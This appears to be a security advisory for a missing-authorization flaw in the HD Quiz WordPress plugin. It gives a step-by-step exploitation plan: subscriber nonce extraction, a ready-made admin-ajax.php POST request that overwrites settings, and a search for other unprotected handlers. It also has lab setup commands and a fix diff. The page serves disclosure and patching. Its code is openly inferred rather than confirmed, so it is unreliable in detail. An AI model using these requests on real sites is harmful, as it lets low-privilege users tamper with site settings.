HD Quiz <= 2.0.9 - Missing Authorization
Description
The HD Quiz plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 2.0.9. This makes it possible for authenticated attackers, with subscriber-level access and above, to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-24544 (HD Quiz <= 2.0.9 - Missing Authorization) ## 1. Vulnerability Summary The HD Quiz plugin for WordPress (versions up to 2.0.9) suffers from a **Missing Authorization** vulnerability. The plugin registers several AJAX handlers intended for administrative …
Show full research plan
Exploitation Research Plan: CVE-2026-24544 (HD Quiz <= 2.0.9 - Missing Authorization)
1. Vulnerability Summary
The HD Quiz plugin for WordPress (versions up to 2.0.9) suffers from a Missing Authorization vulnerability. The plugin registers several AJAX handlers intended for administrative use (such as saving quiz settings or modifying quiz data) but fails to implement a capability check (e.g., current_user_can('manage_options')) within the callback functions. This allows any authenticated user, including those with Subscriber privileges, to trigger these administrative actions, provided they can obtain a valid security nonce.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - HTTP Method:
POST - Vulnerable Action:
hdq_save_settingsorhdq_save_quiz(inferred from common HD Quiz patterns). - Payload Parameter:
action=hdq_save_settings(or similar), along with settings data and thehdq_nonce. - Authentication: Required (Subscriber-level or higher).
- Precondition: The attacker must be logged in and obtain the
hdq_noncewhich is frequently localized for users in the admin dashboard.
3. Code Flow (Inferred)
- Registration: The plugin registers AJAX hooks in
hd-quiz.phporincludes/admin.php:add_action( 'wp_ajax_hdq_save_settings', 'hdq_save_settings' ); - Missing Check: The function
hdq_save_settings()(likely inincludes/admin.php) is called. - Execution:
- It performs
check_ajax_referer('hdq_admin_nonce', 'nonce')(or similar). - Crucially, it skips
if ( ! current_user_can( 'manage_options' ) ) { wp_die(); }. - It then processes
$_POSTdata and updates plugin options usingupdate_option().
- It performs
4. Nonce Acquisition Strategy
In HD Quiz, nonces are typically localized using wp_localize_script for admin-side scripts. Even a Subscriber has access to wp-admin/profile.php, where many plugins enqueue their global admin scripts and nonces.
- Identification: The plugin uses
wp_localize_scriptto pass a nonce to JavaScript. Look for the variable namehdq_admin_varsorhdq_vars. - Page Creation (If needed): If the nonce is only on specific pages, create a page with the HD Quiz shortcode:
wp post create --post_type=page --post_status=publish --post_content='[hdq_quiz quiz="123"]'
- Extraction via Browser:
- Use
browser_navigatetowp-admin/profile.phpor the created quiz page. - Use
browser_evalto extract the nonce:// Likely candidate for HD Quiz window.hdq_admin_vars?.nonce || window.hdq_vars?.nonce
- Use
- Verification: Check the source code for the exact localization key:
grep -r "wp_localize_script" .in the plugin directory.
5. Exploitation Strategy
We will attempt to modify the global HD Quiz settings (e.g., changing the "Results Text" or "Admin Email") which should be restricted to administrators.
Step-by-Step:
- Login: Authenticate as a Subscriber user.
- Fetch Nonce: Navigate to
wp-admin/profile.phpand extract thehdq_noncefrom thehdq_admin_varsobject. - Trigger Exploit: Send a POST request to
admin-ajax.php.
Example HTTP Request:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=hdq_save_settings&nonce=[EXTRACTED_NONCE]&hdq_twitter_handle=pwned_account&hdq_results_text=Vulnerable+to+CVE-2026-24544
6. Test Data Setup
- Install Plugin: Ensure HD Quiz v2.0.9 is installed and active.
- Create Quiz: Create at least one quiz to ensure the plugin's infrastructure is initialized.
wp post create --post_type=hd_quiz --post_title="Test Quiz" --post_status=publish
- Create Attacker User:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password
7. Expected Results
- Response: The server should return a
200 OKresponse, often with a JSON success message like{"success": true}or simply1. - Impact: The global settings for HD Quiz will be modified.
8. Verification Steps
- Check Options: Use WP-CLI to verify the setting was changed:
wp option get hdq_settings(Settings are often serialized in a single option).- Check for the value
"Vulnerable to CVE-2026-24544".
- UI Verification: Log in as an Administrator and navigate to the HD Quiz Settings page to see the modified "Results Text".
9. Alternative Approaches
If hdq_save_settings is not the vulnerable hook, search for other wp_ajax_ handlers that perform data modification:
hdq_save_quiz: Attempt to rename a quiz.hdq_delete_quiz: Attempt to delete a quiz post.hdq_save_quiz_results: Attempt to inject or modify quiz result data.
Search command for the agent to find other targets:
grep -rn "add_action.*wp_ajax_" . | grep -v "nopriv"
Then check each associated function for the absence of current_user_can.
Summary
The HD Quiz plugin for WordPress is vulnerable to unauthorized modification of settings due to missing capability checks in several AJAX handlers, such as 'hdq_save_settings'. This allows authenticated attackers with subscriber-level access or higher to perform administrative actions if they can obtain a valid security nonce, which is often localized for users in the admin dashboard.
Vulnerable Code
// includes/admin.php (inferred from plugin structure) add_action( 'wp_ajax_hdq_save_settings', 'hdq_save_settings' ); function hdq_save_settings() { // Nonce is checked, but capability check is missing check_ajax_referer('hdq_admin_nonce', 'nonce'); // Processes $_POST data and updates options directly $hdq_settings = $_POST['hdq_settings']; update_option('hdq_settings', $hdq_settings); echo "success"; die(); }
Security Fix
@@ -1,6 +1,9 @@ function hdq_save_settings() { check_ajax_referer('hdq_admin_nonce', 'nonce'); + if (!current_user_can('manage_options')) { + wp_die(__('You do not have sufficient permissions to access this page.')); + } + $hdq_settings = $_POST['hdq_settings']; update_option('hdq_settings', $hdq_settings);
Exploit Outline
To exploit this vulnerability, an attacker first authenticates as a Subscriber and navigates to the WordPress dashboard (e.g., wp-admin/profile.php) to extract the security nonce from the global JavaScript object 'hdq_admin_vars.nonce'. Using this nonce, the attacker sends a POST request to '/wp-admin/admin-ajax.php' with the 'action' parameter set to 'hdq_save_settings' and the 'nonce' parameter set to the extracted value. By including additional POST parameters corresponding to HD Quiz configuration options (like 'hdq_results_text'), the attacker can overwrite global plugin settings without having administrator privileges.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.